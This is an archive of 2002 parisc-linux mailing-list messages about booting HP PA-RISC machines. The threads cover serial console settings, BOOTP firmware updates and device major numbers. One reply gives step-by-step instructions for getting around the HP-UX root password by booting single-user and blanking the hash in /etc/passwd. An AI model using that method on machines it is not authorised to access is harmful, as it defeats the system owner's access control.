Original-Received: from due.stud.ntnu.no (due.stud.ntnu.no [129.241.56.71])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59F8B4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 14:46:03 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by due.stud.ntnu.no (Postfix) with ESMTP
	id BBA4612B0EC; Mon, 30 Sep 2002 22:46:00 +0200 (CEST)
Original-Received: from lama.stud.ntnu.no (lama.stud.ntnu.no [129.241.56.38])
	by due.stud.ntnu.no (Postfix) with ESMTP
	id EDA8B12B0D0; Mon, 30 Sep 2002 22:45:59 +0200 (CEST)
Original-Received: (from stain@localhost)
	by lama.stud.ntnu.no (8.11.6/8.10.0.Beta12) id g8UKjxK11491;
	Mon, 30 Sep 2002 22:45:59 +0200 (MEST)
Content-Disposition: inline
In-Reply-To: <1033417191.31126.4.camel@beavis>
User-Agent: Mutt/1.4i
X-Virus-Scanned: by AMaViS perl-11
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16344

On 2002-09-30 22:19:51, Ryan Bradetich wrote:

> > The serial console is connected to 'CONSOLE (X/4/0/0)*',=20
> This is good, see .. we even find the device :)
> > 6. Sahp Baat Kiuh AP/MUX (5) at 0xf1900000 [10/4/0], versions 0x44,
> 0x0, 0xd
> > Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram console=
=3DttyS0
> Oops... this is bad.  The K class systems do not have a 16550 compatible
> serial port.  The console should be ttyB0.
> For mor info on the console, see Matthew's excellent description of what
> systems use the Serial Mux driver.
> http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/01783=
7.html

Aha! :=3D)

But with:

Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram console=3Dtty=
B0
TERM=3Dvt102 palo_kernel=3D0/vmlinux'

(..)

Branching to kernel entry point 0x00100098.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


And that IS the last thing I see :/

with console=3DttyS0 at least more output came. How do I 'switch console'?=
=20


Do I need to connect something to this MDP-port instead?
(how? It is some inverted rs232 15-pin)

This happens with both vmlinux32 og 64.


--=20
Stian S=F8iland               There are only 10 types of people in the worl=
d:
ITEA systemdrift            Those who understand binary, and those who don'=
t.
http://www.stud.ntnu.no/   =20
                           =20


From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Frank Cornelis <Frank.Cornelis@rug.ac.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: Mon, 30 Sep 2002 22:50:17 +0200 (MEST)
Lines: 33
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.31.0209302241060.16124-100000@eduserv.rug.ac.be>
References: <1033395024.454.3.camel@seventy>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621785 14973 80.91.229.3 (22 Nov 2014 02:03:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:05 +0000 (UTC)
Cc: Frank Cornelis <Frank.Cornelis@rug.ac.be>,
	<parisc-linux@lists.parisc-linux.org>
To: James Smith <james@compusmithllc.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 14:50:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dobit2.rug.ac.be (dobit2.rug.ac.be [157.193.42.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id A1B264829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 14:50:21 -0600 (MDT)
Original-Received: from eduserv.rug.ac.be (eduserv.rug.ac.be [157.193.40.29])
	by dobit2.rug.ac.be (8.11.1/8.11.1) with ESMTP id g8UKoHe16286;
	Mon, 30 Sep 2002 22:50:18 +0200 (MEST)
Original-Received: from localhost (fcorneli@localhost)
	by eduserv.rug.ac.be (8.11.1/8.11.1) with ESMTP id g8UKoHR18084;
	Mon, 30 Sep 2002 22:50:17 +0200 (MEST)
In-Reply-To: <1033395024.454.3.camel@seventy>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16345

> most of my 712's are ver 1.9 or 2.1 & they all work fine as far as i can
> see with linux - is there any advantage to updating to 2.3 ?
>
> or is this a case of 'if its not broken....'

The text file that comes with the 2.3 patch mentions
	More reliable LAN operation
as one of the improvements. I wanted to be sure for my BOOTP lifimage
loading.
Anyway, it's really easy to do.
Create an /etc/bootptab on your server containing:
.default:\
        :sm=255.255.255.224:\
        :gw=192.168.1.62:\
        :ds=195.130.131.2:\
        :ht=ethernet:\
        :bf=C7120023.frm:

hp712:hn:ha=0800099D56DA:ip=192.168.1.34:tc=.default

Of course, adjust with your network settings (man bootptab).
Run the bootpd daemon (and tftp daemon) on your server and reboot your HP.
Then goto the BOOT_ADMIN menu using ESC and type:
	search lan
You should see your BOOTP server listed.
Then simply do:
	boot lan

That's it.

Frank.



From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Smith <james@compusmithllc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] firmware update using BOOTP
Date: 30 Sep 2002 15:56:19 -0500
Lines: 46
Approved: news@gmane.org
Message-ID: <1033419379.4785.33.camel@seventy>
References: <Pine.GSO.4.31.0209302241060.16124-100000@eduserv.rug.ac.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621785 14974 80.91.229.3 (22 Nov 2014 02:03:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:05 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Frank Cornelis <Frank.Cornelis@rug.ac.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 14:56:23 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from eightythree.valleybikes.com (valleybikes.com [24.123.22.113])
	by dsl2.external.hp.com (Postfix) with ESMTP id E4AD04829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 14:56:22 -0600 (MDT)
Original-Received: from localhost.localdomain (root@seventy.compusmithllc.com [192.168.194.70])
	by eightythree.valleybikes.com (8.12.5/8.12.5/Debian-1) with ESMTP id g8UKuK34011055;
	Mon, 30 Sep 2002 15:56:20 -0500
In-Reply-To: <Pine.GSO.4.31.0209302241060.16124-100000@eduserv.rug.ac.be>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16346

i installed all my 712's from bootp without upgrading & they went fine -
even the ones with the 1.9 firmwares

have you got a pointer to the firmware update info so i can check it out
the pros/cons myself ?

James S


On Mon, 2002-09-30 at 15:50, Frank Cornelis wrote:
> 
> > most of my 712's are ver 1.9 or 2.1 & they all work fine as far as i can
> > see with linux - is there any advantage to updating to 2.3 ?
> >
> > or is this a case of 'if its not broken....'
> 
> The text file that comes with the 2.3 patch mentions
> 	More reliable LAN operation
> as one of the improvements. I wanted to be sure for my BOOTP lifimage
> loading.
> Anyway, it's really easy to do.
> Create an /etc/bootptab on your server containing:
> .default:\
>         :sm=255.255.255.224:\
>         :gw=192.168.1.62:\
>         :ds=195.130.131.2:\
>         :ht=ethernet:\
>         :bf=C7120023.frm:
> 
> hp712:hn:ha=0800099D56DA:ip=192.168.1.34:tc=.default
> 
> Of course, adjust with your network settings (man bootptab).
> Run the bootpd daemon (and tftp daemon) on your server and reboot your HP.
> Then goto the BOOT_ADMIN menu using ESC and type:
> 	search lan
> You should see your BOOTP server listed.
> Then simply do:
> 	boot lan
> 
> That's it.
> 
> Frank.
> 




From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/802/K250 won't boot with images -
	serial/stack problem?
Date: 30 Sep 2002 15:06:29 -0600
Lines: 82
Approved: news@gmane.org
Message-ID: <1033419990.30622.11.camel@beavis>
References: <20020930200805.GA9133@itea.ntnu.no>
	<1033417191.31126.4.camel@beavis>  <20020930204559.GB9133@itea.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621786 14977 80.91.229.3 (22 Nov 2014 02:03:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:06 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stian Soiland <stain@itea.ntnu.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 15:06:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6C9D64829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 15:06:32 -0600 (MDT)
Original-Received: from localhost.localdomain (ns1.ybsoft.com [10.0.0.2])
	by beavis.ybsoft.com (Postfix) with ESMTP
	id EB5B12E3EB; Mon, 30 Sep 2002 15:06:29 -0600 (MDT)
In-Reply-To: <20020930204559.GB9133@itea.ntnu.no>
X-Mailer: Ximian Evolution 1.0.8 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16347

Ah,

I am sorry.  I see the problem now :)

The problem is that /dev/ttyB0 does not have a registered major/minor
number.  We use a local on for the parisc-linux kernel.  Since we
/dev/ttyB0 is non-standard, the regular boot floppy from debian will
not boot this box.  I would suggest getting on from the ESIEE
team provides at:

	http://pateam.esiee.fr/cd-images/testing/

Specifically the images you are looking for have the -PDC in the name.=20
These kernels have the PDC Software Console enabled (which will work for
your system).

Thanks,

- Ryan

P.S. What would it take to get the default debian configs to compile in
the the Serial Mux, and to provide the /dev/ttyB0 from the parisc-linux
port by default in debian?  A patch to the debian def_configs and the
MAKEDEV package?


On Mon, 2002-09-30 at 14:45, Stian Soiland wrote:
> On 2002-09-30 22:19:51, Ryan Bradetich wrote:
>=20
> > > The serial console is connected to 'CONSOLE (X/4/0/0)*',=20
> > This is good, see .. we even find the device :)
> > > 6. Sahp Baat Kiuh AP/MUX (5) at 0xf1900000 [10/4/0], versions 0x44,
> > 0x0, 0xd
> > > Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram console=
=3DttyS0
> > Oops... this is bad.  The K class systems do not have a 16550 compatibl=
e
> > serial port.  The console should be ttyB0.
> > For mor info on the console, see Matthew's excellent description of wha=
t
> > systems use the Serial Mux driver.
> > http://lists.parisc-linux.org/pipermail/parisc-linux/2002-September/017=
837.html
>=20
> Aha! :=3D)
>=20
> But with:
>=20
> Command line for kernel: 'ramdisk_size=3D8192 root=3D/dev/ram console=3Dt=
tyB0
> TERM=3Dvt102 palo_kernel=3D0/vmlinux'
>=20
> (..)
>=20
> Branching to kernel entry point 0x00100098.  If this is the last
> message you see, you may need to switch your console.  This is
> a common symptom -- search the FAQ and mailing list at parisc-linux.org
>=20
>=20
> And that IS the last thing I see :/
>=20
> with console=3DttyS0 at least more output came. How do I 'switch console'=
?=20
>=20
>=20
> Do I need to connect something to this MDP-port instead?
> (how? It is some inverted rs232 15-pin)
>=20
> This happens with both vmlinux32 og 64.
>=20
>=20
> --=20
> Stian S=F8iland               There are only 10 types of people in the wo=
rld:
> ITEA systemdrift            Those who understand binary, and those who do=
n't.
> http://www.stud.ntnu.no/   =20
>                            =20
>=20




From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/802/K250 won't boot with images - serial/stack problem?
Date: Mon, 30 Sep 2002 22:22:55 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20020930222255.T18377@parcelfarce.linux.theplanet.co.uk>
References: <20020930200805.GA9133@itea.ntnu.no> <1033417191.31126.4.camel@beavis> <20020930204559.GB9133@itea.ntnu.no> <1033419990.30622.11.camel@beavis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621786 14979 80.91.229.3 (22 Nov 2014 02:03:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:06 +0000 (UTC)
Cc: Stian Soiland <stain@itea.ntnu.no>,
	parisc-linux@lists.parisc-linux.org
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 15:22:58 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E08344829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 15:22:57 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 17w80F-0004DX-00; Mon, 30 Sep 2002 22:22:55 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <1033419990.30622.11.camel@beavis>; from rbradetich@uswest.net on Mon, Sep 30, 2002 at 03:06:29PM -0600
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16348

On Mon, Sep 30, 2002 at 03:06:29PM -0600, Ryan Bradetich wrote:
> P.S. What would it take to get the default debian configs to compile in
> the the Serial Mux, and to provide the /dev/ttyB0 from the parisc-linux
> port by default in debian?  A patch to the debian def_configs and the
> MAKEDEV package?

we really shouldn't be distributing a kernel that uses char-major-42.

 42             Demo/sample use

                This number is intended for use in sample code, as
                well as a general "example" device number.  It
                should never be used for a device driver that is being
                distributed; either obtain an official number or use
                the local/experimental range.  The sudden addition or
                removal of a driver with this number should not cause
                ill effects to the system (bugs excepted.)

                IN PARTICULAR, ANY DISTRIBUTION WHICH CONTAINS A
                DEVICE DRIVER USING MAJOR NUMBER 42 IS NONCOMPLIANT.

maybe we could recycle char 11?

ideally, i'd like to have this driver claim ttyS ports from the
serial core ... but that's not necessarily going to happen for 2.5,
and definitely not for 2.4.

anyone fancy contacting lanana and asking for an official allocation?

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware newbie question...
Date: Mon, 30 Sep 2002 15:29:19 -0700 (PDT)
Lines: 47
Approved: news@gmane.org
Message-ID: <20020930222919.62918.qmail@web12503.mail.yahoo.com>
References: <20020925.090915.-178139.3.paulhill20@juno.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621786 14984 80.91.229.3 (22 Nov 2014 02:03:06 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:06 +0000 (UTC)
To: Stephen J de Vries <paulhill20@juno.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 16:29:22 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12503.mail.yahoo.com (web12503.mail.yahoo.com [216.136.173.195])
	by dsl2.external.hp.com (Postfix) with SMTP id 3E3D34829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 16:29:22 -0600 (MDT)
Original-Received: from [156.153.255.134] by web12503.mail.yahoo.com via HTTP; Mon, 30 Sep 2002 15:29:19 PDT
In-Reply-To: <20020925.090915.-178139.3.paulhill20@juno.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16349

What do you mean locked down?  Boot the thing single user and delete
the password.  At the "Press any key to interrupt boot" prompt stop the
boot.  Type BO <enter> interact with ISL? <y> <enter>.  Then at the isl
prompt type <hpux -is> <enter>.  That will get you into single user
mode.  Unless the system is setup in trusted mode you should be able to
get in and modify the /etc/passwd file.  The user name should come
first followed by the password that is encrypted within the colons
(ex:root:VDTGE$8757474:).  Delete the encrypted stuff but leave the
colons and save it.  Reboot it in multiuser mode and root shouldn't
have a password.

derek


--- Stephen J de Vries <paulhill20@juno.com> wrote:
> I have a HP 712 that I'd purchased recently.
> 
> My question is:
> 
> Can I use a PC monitor, keyboard, and mouse to boot the thing up?  If
> so,
> does the monitor have to be a multisync or something special?
> 
> In addition, HP-UX is on the hard drive but is locked down.  I was
> thinking of buying an external CD drive and attempting to load debian
> 0.93.  Can anyone recommend a place to buy the CD drive that they
> have
> dealt with?  I also have a network so I could attempt a network
> install
> but I am not sure what minimum requirements I'd need to fulfill for
> that.
>  Is my approach the right one?
> 
> Thanks for the advice...
> 
> Stephen de Vries
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do you Yahoo!?
New DSL Internet Access from SBC & Yahoo!
http://sbc.yahoo.com


From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hardware newbie question...
Date: Mon, 30 Sep 2002 15:31:15 -0700 (PDT)
Lines: 32
Approved: news@gmane.org
Message-ID: <20020930223115.63225.qmail@web12508.mail.yahoo.com>
References: <Pine.NEB.4.44.0209251557570.7537-100000@io.fachschaften.tu-muenchen.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621787 14988 80.91.229.3 (22 Nov 2014 02:03:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:07 +0000 (UTC)
Cc: Stephen J de Vries <paulhill20@juno.com>,
	parisc-linux@lists.parisc-linux.org
To: Andreas Deresch <aderesch@fs.tum.de>,
	Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 16:31:21 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id 63D3E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 16:31:21 -0600 (MDT)
Original-Received: from [156.153.255.134] by web12508.mail.yahoo.com via HTTP; Mon, 30 Sep 2002 15:31:15 PDT
In-Reply-To: <Pine.NEB.4.44.0209251557570.7537-100000@io.fachschaften.tu-muenchen.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16350

--- Andreas Deresch <aderesch@fs.tum.de> wrote:
> On Wed, 25 Sep 2002, Thibaut VARENE wrote:
> 
> > Stephen J de Vries wrote:
> > > I have a HP 712 that I'd purchased recently.
> > >
> > > My question is:
> > >
> > > Can I use a PC monitor, keyboard, and mouse to boot the thing up?
>  If so,
> > > does the monitor have to be a multisync or something special?
> > OK for the PC monitor. Use 'Tab' at boot time to switch 712's
> resolution
> > NO for the PC keyboard (pc kbd is 75mA iirc, 712 is 500mA)
> Hhmm. I have used two different PS/2 keyboards on a 712. So far
> nothing
> unexpected has happened to either the box nor the keyboard... it
> works just
> fine.
> 
> ad
> 

Me too....

derek

__________________________________________________
Do you Yahoo!?
New DSL Internet Access from SBC & Yahoo!
http://sbc.yahoo.com


From - Thu Nov 08 21:24:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@gmx.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 9000/802/K250 won't boot with images - serial/stack 
 problem?
Date: Tue, 01 Oct 2002 00:39:53 +0200
Organization: private
Lines: 66
Approved: news@gmane.org
Message-ID: <3D98D2B9.659E5A0B@gmx.at>
References: <20020930200805.GA9133@itea.ntnu.no> <1033417191.31126.4.camel@beavis> <20020930204559.GB9133@itea.ntnu.no>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621787 14990 80.91.229.3 (22 Nov 2014 02:03:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:07 +0000 (UTC)
Cc: Ryan Bradetich <rbradetich@uswest.net>,
	parisc-linux@lists.parisc-linux.org
To: Stian Soiland <stain@itea.ntnu.no>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Sep 30 16:39:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep16-int.chello.at (viefep16-int.chello.at [213.46.255.17])
	by dsl2.external.hp.com (Postfix) with ESMTP id CA3B04829
	for <parisc-linux@lists.parisc-linux.org>; Mon, 30 Sep 2002 16:39:52 -0600 (MDT)
Original-Received: from gmx.at ([62.178.92.247]) by viefep16-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20020930223949.HAHJ2706.viefep16-int.chello.at@gmx.at>;
          Tue, 1 Oct 2002 00:39:49 +0200
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.4.6 i686)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16351

As far as I see the problem: YES, you must use the
serial porton the MDP (port 0 !). Or use the PDC console
instead of MUX driver, then you are on the safe side,
concerning the console connecting method. The PDC
conolse driver takes that interface, which is configured
in the PDC monitor as console, independent of device
type, chips, ports, etc...

For a 15-pin layout, I cannot give you info. I only can
help on the MUX with the 25DB-SUB used on E55 and similar.

Christoph


Stian Soiland wrote:
> 
> On 2002-09-30 22:19:51, Ryan Bradetich wrote:
> 
> > > The serial console is connected to 'CONSOLE (X/4/0/0)*',
> > This is good, see .. we even find the device :)
